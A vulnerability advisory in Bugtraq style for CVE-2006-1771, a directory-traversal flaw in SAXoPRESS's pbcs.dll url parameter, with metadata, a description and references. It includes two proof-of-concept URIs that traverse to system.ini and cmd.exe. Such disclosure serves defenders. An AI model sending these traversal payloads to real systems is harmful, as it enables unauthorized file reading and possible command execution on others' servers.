Saxopress URL Parameter Directory Traversal Vulnerability

Bugtraq ID:	17474
Class:	Input Validation Error
CVE:	CVE-2006-1771
Remote:	Yes
Local:	No
Published:	Apr 11 2006 12:00AM
Updated:	Feb 20 2007 08:28PM
Credit:	[email protected] is credited with the discovery of this vulnerability.
Vulnerable:	SAXOTECH SAXoPRESS 0
Not Vulnerable:

Saxopress URL Parameter Directory Traversal Vulnerability

SAXoPRESS is prone to a directory-traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve and execute arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid attackers in further attacks.

Saxopress URL Parameter Directory Traversal Vulnerability

Attackers can exploit this issue via a web client.

The following proof-of-concept URIs are available:

http://www.example.com/apps/pbcs.dll/misc?url=../../../../../../../../../../winnt/system.ini
http://www.example.com/apps/pbcs.dll/misc?url=../../../../../../../../../../winnt/system32/cmd.exe

Saxopress URL Parameter Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Saxopress URL Parameter Directory Traversal Vulnerability

References:

• SAXoPRESS Homepage (SAXOTECH)
  
• SAXoPRESS - directory traversal ([email protected])